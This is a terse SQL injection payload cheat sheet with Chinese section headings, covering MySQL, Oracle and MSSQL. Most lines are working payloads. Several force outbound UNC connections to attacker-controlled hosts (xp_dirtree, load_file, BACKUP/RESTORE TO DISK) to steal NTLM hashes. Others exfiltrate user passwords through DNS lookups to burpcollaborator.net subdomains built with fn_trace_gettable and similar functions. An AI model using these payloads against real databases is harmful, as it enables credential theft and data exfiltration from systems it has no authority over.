select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt';select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt
UNC 路径 NTLM Hash窃取:
select load_file('\\\\error\\abc');select load_file(0x5c5c5c5c6572726f725c5c616263);select'osanda' into dumpfile '\\\\error\\abc';select'osanda' into outfile '\\\\error\\abc';
load data infile '\\\\error\\abc' into table database.table_name;
Oracle
多行合并转储:
SELECT dbms_xmlgen.getxmltype('select user from dual')FROM dual
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
xp_dirtree '\\attackerip\file'
xp_fileexist '\\attackerip\file'
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
# Permissions: Requires VIEW SERVER STATE permission on the server.
1 and exists(select*from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))# Permissions: Requires the CONTROL SERVER permission.
1 (select 1 where exists(select*from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
1 and exists(select*from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))